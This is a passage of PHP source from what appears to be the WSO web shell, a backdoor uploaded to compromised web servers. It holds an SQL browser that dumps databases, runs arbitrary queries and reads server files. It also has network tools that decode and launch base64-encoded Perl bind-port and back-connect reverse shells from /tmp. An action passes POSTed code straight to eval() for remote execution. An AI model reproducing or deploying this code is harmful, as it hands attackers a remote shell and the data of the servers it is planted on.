1502 case "UTF-8":
1503 $db->setCharset('utf8');
1504 break;
1505 case "KOI8-R":
1506 $db->setCharset('koi8r');
1507 break;
1508 case "KOI8-U":
1509 $db->setCharset('koi8u');
1510 break;
1511 case "cp866":
1512 $db->setCharset('cp866');
1513 break;
1514 }
1515 if (empty($_POST['file'])) {
1516 ob_start("ob_gzhandler", 4096);
1517 header("Content-Disposition: attachment; filename=dump.sql");
1518 header("Content-Type: text/plain");
1519 foreach ($_POST['tbl'] as $v)
1520 $db->dump($v);
1521 exit;
1522 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1523 foreach ($_POST['tbl'] as $v)
1524 $db->dump($v, $fp);
1525 fclose($fp);
1526 unset($_POST['p2']);
1527 } else
1528 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1529 }
1530 wsoHeader();
1531 echo "
1532<h1>Sql browser</h1><div class=content>
1533<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1534<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1535<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1536<td><select name='type'><option value='mysql' ";
1537 if (@$_POST['type'] == 'mysql')
1538 echo 'selected';
1539 echo ">MySql</option><option value='pgsql' ";
1540 if (@$_POST['type'] == 'pgsql')
1541 echo 'selected';
1542 echo ">PostgreSql</option></select></td>
1543<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1544<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1545<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1546 $tmp = "<input type=text name=sql_base value=''>";
1547 if (isset($_POST['sql_host'])) {
1548 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1549 switch ($_POST['charset']) {
1550 case "Windows-1251":
1551 $db->setCharset('cp1251');
1552 break;
1553 case "UTF-8":
1554 $db->setCharset('utf8');
1555 break;
1556 case "KOI8-R":
1557 $db->setCharset('koi8r');
1558 break;
1559 case "KOI8-U":
1560 $db->setCharset('koi8u');
1561 break;
1562 case "cp866":
1563 $db->setCharset('cp866');
1564 break;
1565 }
1566 $db->listDbs();
1567 echo "<select name=sql_base><option value=''></option>";
1568 while ($item = $db->fetch()) {
1569 list($key, $value) = each($item);
1570 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1571 }
1572 echo '</select>';
1573 } else
1574 echo $tmp;
1575 } else
1576 echo $tmp;
1577 echo "</td>
1578 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1579 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1580 </tr>
1581 </table>
1582 <script>
1583 s_db='" . @addslashes($_POST['sql_base']) . "';
1584 function fs(f) {
1585 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1586 if(f.p1) f.p1.value='';
1587 if(f.p2) f.p2.value='';
1588 if(f.p3) f.p3.value='';
1589 }
1590 }
1591 function st(t,l) {
1592 d.sf.p1.value = 'select';
1593 d.sf.p2.value = t;
1594 if(l && d.sf.p3) d.sf.p3.value = l;
1595 d.sf.submit();
1596 }
1597 function is() {
1598 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1599 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1600 }
1601 </script>";
1602 if (isset($db) && $db->link) {
1603 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1604 if (!empty($_POST['sql_base'])) {
1605 $db->selectdb($_POST['sql_base']);
1606 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1607 $tbls_res = $db->listTables();
1608 while ($item = $db->fetch($tbls_res)) {
1609 list($key, $value) = each($item);
1610 if (!empty($_POST['sql_count']))
1611 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1612 $value = htmlspecialchars($value);
1613 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1614 }
1615 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1616 if (@$_POST['p1'] == 'select') {
1617 $_POST['p1'] = 'query';
1618 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1619 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1620 $num = $db->fetch();
1621 $pages = ceil($num['n'] / 30);
1622 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int) $_POST['p3']) . ">";
1623 echo " of $pages";
1624 if ($_POST['p3'] > 1)
1625 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1626 if ($_POST['p3'] < $pages)
1627 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1628 $_POST['p3']--;
1629 if ($_POST['type'] == 'pgsql')
1630 $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1631 else
1632 $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1633 echo "<br><br>";
1634 }
1635 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1636 $db->query(@$_POST['p2']);
1637 if ($db->res !== false) {
1638 $title = false;
1639 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1640 $line = 1;
1641 while ($item = $db->fetch()) {
1642 if (!$title) {
1643 echo '<tr>';
1644 foreach ($item as $key => $value)
1645 echo '<th>' . $key . '</th>';
1646 reset($item);
1647 $title = true;
1648 echo '</tr><tr>';
1649 $line = 2;
1650 }
1651 echo '<tr class="l' . $line . '">';
1652 $line = $line == 1 ? 2 : 1;
1653 foreach ($item as $key => $value) {
1654 if ($value == null)
1655 echo '<td><i>null</i></td>';
1656 else
1657 echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1658 }
1659 echo '</tr>';
1660 }
1661 echo '</table>';
1662 } else {
1663 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1664 }
1665 }
1666 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1667 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1668 echo htmlspecialchars($_POST['p2']);
1669 echo "</textarea><br/><input type=submit value='Execute'>";
1670 echo "</td></tr>";
1671 }
1672 echo "</table></form><br/>";
1673 if ($_POST['type'] == 'mysql') {
1674 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1675 if ($db->fetch())
1676 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1677 }
1678 if (@$_POST['p1'] == 'loadfile') {
1679 $file = $db->loadFile($_POST['p2']);
1680 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1681 }
1682 } else {
1683 echo htmlspecialchars($db->error());
1684 }
1685 echo '</div>';
1686 wsoFooter();
1687}
1688function actionNetwork()
1689{
1690 wsoHeader();
1691 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1692 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1693 echo "<h1>Network tools</h1><div class=content>
1694 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1695 <span>Bind port to /bin/sh [perl]</span><br/>
1696 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1697 </form>
1698 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1699 <span>Back-connect [perl]</span><br/>
1700 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1701 </form><br>";
1702 if (isset($_POST['p1'])) {
1703 function cf($f, $t)
1704 {
1705 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1706 if ($w) {
1707 @fwrite($w, @base64_decode($t));
1708 @fclose($w);
1709 }
1710 }
1711 if ($_POST['p1'] == 'bpp') {
1712 cf("/tmp/bp.pl", $bind_port_p);
1713 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1714 sleep(1);
1715 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1716 unlink("/tmp/bp.pl");
1717 }
1718 if ($_POST['p1'] == 'bcp') {
1719 cf("/tmp/bc.pl", $back_connect_p);
1720 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1721 sleep(1);
1722 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1723 unlink("/tmp/bc.pl");
1724 }
1725 }
1726 echo '</div>';
1727 wsoFooter();
1728}
1729function actionRC()
1730{
1731 if (!@$_POST['p1']) {
1732 $a = array(
1733 "uname" => php_uname(),
1734 "php_version" => phpversion(),
1735 "wso_version" => WSO_VERSION,
1736 "safemode" => @ini_get('safe_mode')
1737 );
1738 echo serialize($a);
1739 } else {
1740 eval($_POST['p1']);
1741 }
1742}
1743if (empty($_POST['a']))
1744 if (isset($default_action) && function_exists('action' . $default_action))
1745 $_POST['a'] = $default_action;
1746 else
1747 $_POST['a'] = 'SecInfo';
1748if (!empty($_POST['a']) && function_exists('action' . $_POST['a']))
1749 call_user_func('action' . $_POST['a']);
1750exit;
1751
1752?>